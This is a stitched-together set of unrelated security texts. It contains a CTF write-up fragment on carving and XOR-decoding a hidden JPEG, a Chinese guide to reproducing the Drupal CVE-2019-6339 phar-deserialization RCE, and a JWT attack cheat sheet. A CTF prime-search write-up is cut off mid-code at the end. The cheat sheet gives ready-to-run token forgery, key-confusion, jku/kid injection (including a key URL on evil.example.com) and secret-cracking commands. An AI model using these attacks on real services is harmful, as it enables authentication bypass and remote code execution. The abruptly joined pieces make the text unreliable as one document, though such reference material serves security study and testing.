Length: 266 KB (273064 bytes)
Num Name (bs=512) Size File Offset Comment
0: 00000000.jpg 162 KB 0
1: 00000325.jpg 2 KB 166799
2: 00000330.jpg 34 KB 168991
3 FILES EXTRACTED
jpg:= 3
------------------------------------------------------------------
```
We got three JPEG files. Two of them were unrelated, but the third one seemed important:

`foremost` works with file signatures, and is able to extract files from within other files. Let's check if the binary file is composed only of the three files we've extracted:
```console
root@kali:/media/sf_CTFs/hoshen/2# stat output.bin output/jpg/* | egrep "File|Size"
File: output.bin
Size: 273064 Blocks: 536 IO Block: 4096 regular file
File: output/jpg/00000000.jpg
Size: 166799 Blocks: 328 IO Block: 4096 regular file
File: output/jpg/00000325.jpg
Size: 2192 Blocks: 8 IO Block: 4096 regular file
File: output/jpg/00000330.jpg
Size: 34844 Blocks: 72 IO Block: 4096 regular file
root@kali:/media/sf_CTFs/hoshen/2# echo $((273064 - (166799 + 2192 + 34844) ))
69229
```
It looks like there are 69229 bytes which weren't extracted as part of the images. Let's investigate that:
```console
root@kali:/media/sf_CTFs/hoshen/2# cmp -l output.bin output/jpg/00000000.jpg
cmp: EOF on output/jpg/00000000.jpg after byte 166799
root@kali:/media/sf_CTFs/hoshen/2# cmp -l --ignore-initial=166799:0 output.bin output/jpg/00000325.jpg
cmp: EOF on output/jpg/00000325.jpg after byte 2192
root@kali:/media/sf_CTFs/hoshen/2# cmp -l --ignore-initial=$((166799+2192)):0 output.bin output/jpg/00000330.jpg
cmp: EOF on output/jpg/00000330.jpg after byte 34844
```
So it looks like `output.bin` contains all three files one after the other, and then some extra `69229` bytes. Let's extract them:
```console
root@kali:/media/sf_CTFs/hoshen/2# dd if=output.bin of=output/jpg/extra.bin bs=1 count=69229 skip=$((166799 + 2192 + 34844))
69229+0 records in
69229+0 records out
69229 bytes (69 kB, 68 KiB) copied, 11.4035 s, 6.1 kB/s
```
What did we get?
```console
root@kali:/media/sf_CTFs/hoshen/2/output/jpg# file extra.bin
extra.bin: data
root@kali:/media/sf_CTFs/hoshen/2/output/jpg# xxd -g 1 extra.bin | head
00000000: b1 96 b1 ae 4e 5e 04 08 07 08 4e 4f 4f 4f 4e 2e ....N^....NOOON.
00000010: 4e 2e 4e 4e b1 af 5e ba 0b 36 27 28 4e 4e 03 03 N.NN..^..6'(NN..
00000020: 4e 64 4e 4e 4e 46 4e 4a 4f 75 4e 4c 4e 4e 4e 40 NdNNNFNJOuNLNNN@
00000030: 4e 4e 46 04 c9 27 4e 4a 4e 4e 4e 4f 4e 4e 46 16 NNF..'NJNNNONNF.
00000040: d2 d3 4e 4f 4e 4e 4e 52 4e 4e 5e 9e a4 52 4e 49 ..NONNNRNN^..RNI
00000050: 4e 4e 46 42 4e 4e 4e 70 4e 4e 4e 4e 52 a4 4e 4e NNFBNNNpNNNNR.NN
00000060: 4e 46 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e NFNNNNNNNNNNNNNN
00000070: 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e NNNNNNNNNNNNNNNN
00000080: 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e NNNNNNNNNNNNNNNN
00000090: 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e NNNNNNNNNNNNNNNN
```
Nothing much. Well, the hint says "JFIF" and "XOR", so should we XOR this file to receive a JPEG file?
A [JEPG header](https://en.wikipedia.org/wiki/JPEG_File_Interchange_Format) is defined to start with:
```
FF D8 FF E0 ?? ?? 4A 46 49 46 00
```
To find the key, let's XOR the expected values with the current values:
```python
>>> current = map(lambda x: int(x, 16), "b1 96 b1 ae".split(' '))
>>> expected = map(lambda x: int(x, 16), "FF D8 FF E0".split(' '))
>>> for a, b in zip(current, expected):
... print("{:x} ".format(a^b), end='')
...
4e 4e 4e 4e
```
This looks like a single-byte XOR cipher with the key of `0x4e`. Let's use it to decrypt the file:
```python
with open("extra.bin", "rb") as f, open("extra_out.bin", "wb") as o:
key = 0x4e
input_data = f.read()
output_data = bytearray()
for b in input_data:
output_data.append(b ^ key)
o.write(output_data)
```
Output:
```console
root@kali:/media/sf_CTFs/hoshen/2/output/jpg# python3 xor.py
root@kali:/media/sf_CTFs/hoshen/2/output/jpg# file extra_out.bin
extra_out.bin: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4], baseline, precision 8, 1323x746, frames 3
root@kali:/media/sf_CTFs/hoshen/2/output/jpg# mv extra_out.bin extra_out.jpg
```
We got a JPEG file!

The IP is stated on the figure's mask: `13.67.133.176`.
|
sec-knowleage
|
# Drupal 远程代码执行漏洞(CVE-2019-6339)
* 影响软件:Drupal
* 方式:phar反序列化RCE
* 参考链接:[Drupal 1-click to RCE 分析](https://paper.seebug.org/897/)
* 效果:任意命令执行
## 漏洞环境
执行如下命令启动drupal 8.5.0的环境:
```bash
docker compose up -d
```
环境启动后,访问 `http://your-ip:8080/` 将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
## 漏洞复现
如下图所示,先使用管理员用户上传头像,头像图片为构造好的 PoC,参考[thezdi/PoC](https://github.com/thezdi/PoC/tree/master/Drupal)的PoC。

Drupal 的图片默认存储位置为 `/sites/default/files/pictures/<YYYY-MM>/`,默认存储名称为其原来的名称,所以之后在利用漏洞时,可以知道上传后的图片的具体位置。
访问 `http://127.0.0.1:8080/admin/config/media/file-system`,在 `Temporary directory` 处输入之前上传的图片路径,示例为 `phar://./sites/default/files/pictures/2019-06/blog-ZDI-CAN-7232-cat_0.jpg`,保存后将触发该漏洞。如下图所示,触发成功。

|
sec-knowleage
|
# JWT - JSON Web Token
> JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed.
## Summary
- [Summary](#summary)
- [Tools](#tools)
- [JWT Format](#jwt-format)
- [Header](#header)
- [Payload](#payload)
- [JWT Signature](#jwt-signature)
- [JWT Signature - Null Signature Attack (CVE-2020-28042)](#jwt-signature---null-signature-attack-cve-2020-28042)
- [JWT Signature - Disclosure of a correct signature (CVE-2019-7644)](#jwt-signature---disclosure-of-a-correct-signature-cve-2019-7644)
- [JWT Signature - None Algorithm (CVE-2015-9235)](#jwt-signature---none-algorithm-cve-2015-9235)
- [JWT Signature - Key Confusion Attack RS256 to HS256 (CVE-2016-5431)](#jwt-signature---key-confusion-attack-rs256-to-hs256-cve-2016-5431)
- [JWT Signature - Key Injection Attack (CVE-2018-0114)](#jwt-signature---key-injection-attack-cve-2018-0114)
- [JWT Secret](#jwt-secret)
- [Encode and Decode JWT with the secret](#encode-and-decode-jwt-with-the-secret)
- [Break JWT secret](#break-jwt-secret)
- [JWT tool](#jwt-tool)
- [Hashcat](#hashcat)
- [JWT Claims](#jwt-claims)
- [JWT kid Claim Misuse](#jwt-kid-claim-misuse)
- [JWKS - jku header injection](#jwks---jku-header-injection)
- [References](#references)
## Tools
- [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
- [brendan-rius/c-jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker)
- [JOSEPH - JavaScript Object Signing and Encryption Pentesting Helper](https://portswigger.net/bappstore/82d6c60490b540369d6d5d01822bdf61)
- [jwt.io - Encoder – Decoder](https://jwt.io/)
## JWT Format
JSON Web Token : `Base64(Header).Base64(Data).Base64(Signature)`
Example : `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFtYXppbmcgSGF4eDByIiwiZXhwIjoiMTQ2NjI3MDcyMiIsImFkbWluIjp0cnVlfQ.UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY`
Where we can split it into 3 components separated by a dot.
```powershell
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 # header
eyJzdWIiOiIxMjM0[...]kbWluIjp0cnVlfQ # payload
UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY # signature
```
### Header
Registered header parameter names defined in [JSON Web Signature (JWS) RFC](https://www.rfc-editor.org/rfc/rfc7515).
The most basic JWT header is the following JSON.
```json
{
"typ": "JWT",
"alg": "HS256"
}
```
Other parameters are registered in the RFC.
| Parameter | Definition | Description |
|-----------|--------------------------------------|-------------|
| alg | Algorithm | Identifies the cryptographic algorithm used to secure the JWS |
| jku | JWK Set URL | Refers to a resource for a set of JSON-encoded public keys |
| jwk | JSON Web Key | The public key used to digitally sign the JWS |
| kid | Key ID | The key used to secure the JWS |
| x5u | X.509 URL | URL for the X.509 public key certificate or certificate chain |
| x5c | X.509 Certificate Chain | X.509 public key certificate or certificate chain in PEM-encoded used to digitally sign the JWS |
| x5t | X.509 Certificate SHA-1 Thumbprint) | Base64 url-encoded SHA-1 thumbprint (digest) of the DER encoding of the X.509 certificate |
| x5t#S256 | X.509 Certificate SHA-256 Thumbprint | Base64 url-encoded SHA-256 thumbprint (digest) of the DER encoding of the X.509 certificate |
| typ | Type | Media Type. Usually `JWT` |
| cty | Content Type | This header parameter is not recommended to use |
| crit | Critical | Extensions and/or JWA are being used |
Default algorithm is "HS256" (HMAC SHA256 symmetric encryption).
"RS256" is used for asymmetric purposes (RSA asymmetric encryption and private key signature).
| `alg` Param Value | Digital Signature or MAC Algorithm | Requirements |
|-------|------------------------------------------------|---------------|
| HS256 | HMAC using SHA-256 | Required |
| HS384 | HMAC using SHA-384 | Optional |
| HS512 | HMAC using SHA-512 | Optional |
| RS256 | RSASSA-PKCS1-v1_5 using SHA-256 | Recommended |
| RS384 | RSASSA-PKCS1-v1_5 using SHA-384 | Optional |
| RS512 | RSASSA-PKCS1-v1_5 using SHA-512 | Optional |
| ES256 | ECDSA using P-256 and SHA-256 | Recommended |
| ES384 | ECDSA using P-384 and SHA-384 | Optional |
| ES512 | ECDSA using P-521 and SHA-512 | Optional |
| PS256 | RSASSA-PSS using SHA-256 and MGF1 with SHA-256 | Optional |
| PS384 | RSASSA-PSS using SHA-384 and MGF1 with SHA-384 | Optional |
| PS512 | RSASSA-PSS using SHA-512 and MGF1 with SHA-512 | Optional |
| none | No digital signature or MAC performed | Required |
Inject headers with [ticarpi/jwt_tool](#): `python3 jwt_tool.py JWT_HERE -I -hc header1 -hv testval1 -hc header2 -hv testval2`
### Payload
```json
{
"sub":"1234567890",
"name":"Amazing Haxx0r",
"exp":"1466270722",
"admin":true
}
```
Claims are the predefined keys and their values:
- iss: issuer of the token
- exp: the expiration timestamp (reject tokens which have expired). Note: as defined in the spec, this must be in seconds.
- iat: The time the JWT was issued. Can be used to determine the age of the JWT
- nbf: "not before" is a future time when the token will become active.
- jti: unique identifier for the JWT. Used to prevent the JWT from being re-used or replayed.
- sub: subject of the token (rarely used)
- aud: audience of the token (also rarely used)
Inject payload claims with [ticarpi/jwt_tool](#): `python3 jwt_tool.py JWT_HERE -I -pc payload1 -pv testval3`
## JWT Signature
### JWT Signature - Null Signature Attack (CVE-2020-28042)
Send a JWT with HS256 algorithm without a signature like `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.`
**Exploit**:
```ps1
python3 jwt_tool.py JWT_HERE -X n
```
**Deconstructed**:
```json
{"alg":"HS256","typ":"JWT"}.
{"sub":"1234567890","name":"John Doe","iat":1516239022}
```
### JWT Signature - Disclosure of a correct signature (CVE-2019-7644)
Send a JWT with an incorrect signature, the endpoint might respond with an error disclosing the correct one.
* [jwt-dotnet/jwt: Critical Security Fix Required: You disclose the correct signature with each SignatureVerificationException... #61](https://github.com/jwt-dotnet/jwt/issues/61)
* [CVE-2019-7644: Security Vulnerability in Auth0-WCF-Service-JWT](https://auth0.com/docs/secure/security-guidance/security-bulletins/cve-2019-7644)
```
Invalid signature. Expected SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c got 9twuPVu9Wj3PBneGw1ctrf3knr7RX12v-UwocfLhXIs
Invalid signature. Expected 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgB1Y= got 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgBOo=
```
### JWT Signature - None Algorithm (CVE-2015-9235)
JWT supports a `None` algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application.
None algorithm variants:
* none
* None
* NONE
* nOnE
To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT. However, this won't work unless you **remove** the signature
Alternatively you can modify an existing JWT (be careful with the expiration time)
* Using [ticarpi/jwt_tool](#)
```ps1
python3 jwt_tool.py [JWT_HERE] -X a
```
* Manually editing the JWT
```python
import jwt
jwtToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ'
decodedToken = jwt.decode(jwtToken, verify=False)
# decode the token before encoding with type 'None'
noneEncoded = jwt.encode(decodedToken, key='', algorithm=None)
print(noneEncoded.decode())
```
### JWT Signature - Key Confusion Attack RS256 to HS256 (CVE-2016-5431)
If a server’s code is expecting a token with "alg" set to RSA, but receives a token with "alg" set to HMAC, it may inadvertently use the public key as the HMAC symmetric key when verifying the signature.
Because the public key can sometimes be obtained by the attacker, the attacker can modify the algorithm in the header to HS256 and then use the RSA public key to sign the data. When the applications use the same RSA key pair as their TLS web server: `openssl s_client -connect example.com:443 | openssl x509 -pubkey -noout`
> The algorithm **HS256** uses the secret key to sign and verify each message.
> The algorithm **RS256** uses the private key to sign the message and uses the public key for authentication.
```python
import jwt
public = open('public.pem', 'r').read()
print public
print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
```
:warning: This behavior is fixed in the python library and will return this error `jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.`. You need to install the following version: `pip install pyjwt==0.4.3`.
* Using [ticarpi/jwt_tool](#)
```ps1
python3 jwt_tool.py JWT_HERE -X k -pk my_public.pem
```
* Using [portswigger/JWT Editor](https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd)
1. Find the public key, usually in `/jwks.json` or `/.well-known/jwks.json`
2. Load it in the JWT Editor Keys tab, click `New RSA Key`.
3. . In the dialog, paste the JWK that you obtained earlier: `{"kty":"RSA","e":"AQAB","use":"sig","kid":"961a...85ce","alg":"RS256","n":"16aflvW6...UGLQ"}`
4. Select the PEM radio button and copy the resulting PEM key.
5. Go to the Decoder tab and Base64-encode the PEM.
6. Go back to the JWT Editor Keys tab and generate a `New Symmetric Key` in JWK format.
7. Replace the generated value for the k parameter with a Base64-encoded PEM key that you just copied.
8. Edit the JWT token alg to `HS256` and the data.
9. Click `Sign` and keep the option: `Don't modify header`
* Manually using the following steps to edit an RS256 JWT token into an HS256
1. Convert our public key (key.pem) into HEX with this command.
```powershell
$ cat key.pem | xxd -p | tr -d "\\n"
2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
```
2. Generate HMAC signature by supplying our public key as ASCII hex and with our token previously edited.
```powershell
$ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
(stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0
```
3. Convert signature (Hex to "base64 URL")
```powershell
$ python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"
```
4. Add signature to edited payload
```powershell
[HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE]
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA
```
### JWT Signature - Key Injection Attack (CVE-2018-0114)
> A vulnerability in the Cisco node-jose open source library before 0.11.0 could allow an unauthenticated, remote attacker to re-sign tokens using a key that is embedded within the token. The vulnerability is due to node-jose following the JSON Web Signature (JWS) standard for JSON Web Tokens (JWTs). This standard specifies that a JSON Web Key (JWK) representing a public key can be embedded within the header of a JWS. This public key is then trusted for verification. An attacker could exploit this by forging valid JWS objects by removing the original signature, adding a new public key to the header, and then signing the object using the (attacker-owned) private key associated with the public key embedded in that JWS header.
**Exploit**:
* Using [ticarpi/jwt_tool]
```ps1
python3 jwt_tool.py [JWT_HERE] -X i
```
* Using [portswigger/JWT Editor](#)
1. Add a `New RSA key`
2. In the JWT's Repeater tab, edit data
3. `Attack` > `Embedded JWK`
**Deconstructed**:
```json
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"kid": "jwt_tool",
"use": "sig",
"e": "AQAB",
"n": "uKBGiwYqpqPzbK6_fyEp71H3oWqYXnGJk9TG3y9K_uYhlGkJHmMSkm78PWSiZzVh7Zj0SFJuNFtGcuyQ9VoZ3m3AGJ6pJ5PiUDDHLbtyZ9xgJHPdI_gkGTmT02Rfu9MifP-xz2ZRvvgsWzTPkiPn-_cFHKtzQ4b8T3w1vswTaIS8bjgQ2GBqp0hHzTBGN26zIU08WClQ1Gq4LsKgNKTjdYLsf0e9tdDt8Pe5-KKWjmnlhekzp_nnb4C2DMpEc1iVDmdHV2_DOpf-kH_1nyuCS9_MnJptF1NDtL_lLUyjyWiLzvLYUshAyAW6KORpGvo2wJa2SlzVtzVPmfgGW7Chpw"
}
}.
{"login":"admin"}.
[Signed with new Private key; Public key injected]
```
## JWT Secret
> To create a JWT, a secret key is used to sign the header and payload, which generates the signature. The secret key must be kept secret and secure to prevent unauthorized access to the JWT or tampering with its contents. If an attacker is able to access the secret key, they can create, modify or sign their own tokens, bypassing the intended security controls.
### Encode and Decode JWT with the secret
* Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool):
```ps1
jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds
jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds -T
Token header values:
[+] alg = "HS256"
[+] typ = "JWT"
Token payload values:
[+] name = "John Doe"
```
* Using [pyjwt](https://pyjwt.readthedocs.io/en/stable/): `pip install pyjwt`
```python
import jwt
encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256')
jwt.decode(encoded, 'secret', algorithms=['HS256'])
```
### Break JWT secret
Useful list of 3502 public-available JWT: [wallarm/jwt-secrets/jwt.secrets.list](https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list), including `your_jwt_secret`, `change_this_super_secret_random_string`, etc.
#### JWT tool
First, bruteforce the "secret" key used to compute the signature using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
```powershell
python3 -m pip install termcolor cprint pycryptodomex requests
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -C
```
Then edit the field inside the JSON Web Token.
```powershell
Current value of role is: user
Please enter new value and hit ENTER
> admin
[1] sub = 1234567890
[2] role = admin
[3] iat = 1516239022
[0] Continue to next step
Please select a field number (or 0 to Continue):
> 0
```
Finally, finish the token by signing it with the previously retrieved "secret" key.
```powershell
Token Signing:
[1] Sign token with known key
[2] Strip signature from token vulnerable to CVE-2015-2951
[3] Sign with Public Key bypass vulnerability
[4] Sign token with key file
Please select an option from above (1-4):
> 1
Please enter the known key:
> secret
Please enter the key length:
[1] HMAC-SHA256
[2] HMAC-SHA384
[3] HMAC-SHA512
> 1
Your new forged token:
[+] URL safe: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da_xtBsT0Kjw7truyhDwF5Ic
[+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic
```
* Recon: `python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw`
* Scanning: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb`
* Exploitation: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin`
* Fuzzing: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt`
* Review: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin`
#### Hashcat
> Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - [src](https://twitter.com/hashcat/status/955154646494040065)
* Dictionary attack: `hashcat -a 0 -m 16500 jwt.txt wordlist.txt`
* Rule-based attack: `hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule`
* Brute force attack: `hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6`
## JWT Claims
[IANA's JSON Web Token Claims](https://www.iana.org/assignments/jwt/jwt.xhtml)
### JWT kid Claim Misuse
The "kid" (key ID) claim in a JSON Web Token (JWT) is an optional header parameter that is used to indicate the identifier of the cryptographic key that was used to sign or encrypt the JWT. It is important to note that the key identifier itself does not provide any security benefits, but rather it enables the recipient to locate the key that is needed to verify the integrity of the JWT.
* Example #1 : Local file
```json
{
"alg": "HS256",
"typ": "JWT",
"kid": "/root/res/keys/secret.key"
}
```
* Example #2 : Remote file
```json
{
"alg":"RS256",
"typ":"JWT",
"kid":"http://localhost:7070/privKey.key"
}
```
The content of the file specified in the kid header will be used to generate the signature.
```js
// Example for HS256
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
your-256-bit-secret-from-secret.key
)
```
The common ways to misuse the kid header:
* Get the key content to change the payload
* Change the key path to force your own
```py
>>> jwt.encode(
... {"some": "payload"},
... "secret",
... algorithm="HS256",
... headers={"kid": "http://evil.example.com/custom.key"},
... )
```
* Change the key path to a file with a predictable content.
```ps1
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
python3 jwt_tool.py <JWT> -I -hc kid -hv "/proc/sys/kernel/randomize_va_space" -S hs256 -p "2"
```
* Modify the kid header to attempt SQL and Command Injections
### JWKS - jku header injection
"jku" header value points to the URL of the JWKS file. By replacing the "jku" URL with an attacker-controlled URL containing the Public Key, an attacker can use the paired Private Key to sign the token and let the service retrieve the malicious Public Key and verify the token.
It is sometimes exposed publicly via a standard endpoint:
* `/jwks.json`
* `/.well-known/jwks.json`
* `/openid/connect/jwks.json`
* `/api/keys`
* `/api/v1/keys`
You should create your own key pair for this attack and host it. It should look like that:
```json
{
"keys": [
{
"kid": "beaefa6f-8a50-42b9-805a-0ab63c3acc54",
"kty": "RSA",
"e": "AQAB",
"n": "nJB2vtCIXwO8DN[...]lu91RySUTn0wqzBAm-aQ"
}
]
}
```
**Exploit**:
* Using [ticarpi/jwt_tool]
```ps1
python3 jwt_tool.py JWT_HERE -X s
python3 jwt_tool.py JWT_HERE -X s -ju http://example.com/jwks.json
```
* Using [portswigger/JWT Editor](#)
1. Generate a new RSA key and host it
2. Edit JWT's data
3. Replace the `kid` header with the one from your JWKS
4. Add a `jku` header and sign the JWT (`Don't modify header` option should be checked)
**Deconstructed**:
```json
{"typ":"JWT","alg":"RS256", "jku":"https://example.com/jwks.json", "kid":"id_of_jwks"}.
{"login":"admin"}.
[Signed with new Private key; Public key exported]
```
## Labs
* [JWT authentication bypass via unverified signature](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature)
* [JWT authentication bypass via flawed signature verification](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification)
* [JWT authentication bypass via weak signing key](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key)
* [JWT authentication bypass via jwk header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection)
* [JWT authentication bypass via jku header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection)
* [JWT authentication bypass via kid header path traversal](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal)
## References
- [5 Easy Steps to Understanding JSON Web Token](https://medium.com/cyberverse/five-easy-steps-to-understand-json-web-tokens-jwt-7665d2ddf4d5)
- [Attacking JWT authentication - Sep 28, 2016 - Sjoerd Langkemper](https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/)
- [Club EH RM 05 - Intro to JSON Web Token Exploitation - Nishacid](https://www.youtube.com/watch?v=d7wmUz57Nlg)
- [Critical vulnerabilities in JSON Web Token libraries - March 31, 2015 - Tim McLean](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries//)
- [Hacking JSON Web Token (JWT) - Hate_401](https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6)
- [Hacking JSON Web Tokens - From Zero To Hero Without Effort - Websecurify Blog](https://web.archive.org/web/20220305042224/https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html)
- [Hacking JSON Web Tokens - medium.com Oct 2019](https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a)
- [HITBGSEC CTF 2017 - Pasty (Web) - amon (j.heng)](https://nandynarwhals.org/hitbgsec2017-pasty/)
- [How to Hack a Weak JWT Implementation with a Timing Attack - Jan 7, 2017 - Tamas Polgar](https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9)
- [JSON Web Token Validation Bypass in Auth0 Authentication API - Ben Knight Senior Security Consultant - April 16, 2020](https://insomniasec.com/blog/auth0-jwt-validation-bypass)
- [JSON Web Token Vulnerabilities - 0xn3va](https://0xn3va.gitbook.io/cheat-sheets/web-application/json-web-token-vulnerabilities)
- [JWT Hacking 101 - TrustFoundry - Tyler Rosonke - December 8th, 2017](https://trustfoundry.net/jwt-hacking-101/)
- [Learn how to use JSON Web Tokens (JWT) for Authentication - @dwylhq](https://github.com/dwyl/learn-json-web-tokens)
- [Privilege Escalation like a Boss - October 27, 2018 - janijay007](https://blog.securitybreached.org/2018/10/27/privilege-escalation-like-a-boss/)
- [Simple JWT hacking - @b1ack_h00d](https://medium.com/@blackhood/simple-jwt-hacking-73870a976750)
- [WebSec CTF - Authorization Token - JWT Challenge](https://ctf.rip/websec-ctf-authorization-token-jwt-challenge/)
- [Write up – JRR Token – LeHack 2019 - 07/07/2019 - LAPHAZE](https://web.archive.org/web/20210512205928/https://rootinthemiddle.org/write-up-jrr-token-lehack-2019/)
|
sec-knowleage
|
# Close primes (PPC, 136p, 34 solved)
In the challenge we can connect to the server and it provides us with a task.
We're supposed to send 512 bit prime `p` such that with the next prime `q` it will have the property that:
`sqrt(q) - sqrt(p) >= 0.000000000000000000000000000000000000000000000000000000000000000000000000016`
From quick tests we noticed that this difference is larger for smaller primes, so we need to search from the smallest 512 bit primes.
It is also, for obvious reasons, larger when the gap between `p` and `q` is large.
We didn't do anything fancy here, we simply run a brute force:
```python
mp.prec = 1024
p = gmpy2.next_prime(2 ** 511)
while True:
q = gmpy2.next_prime(p)
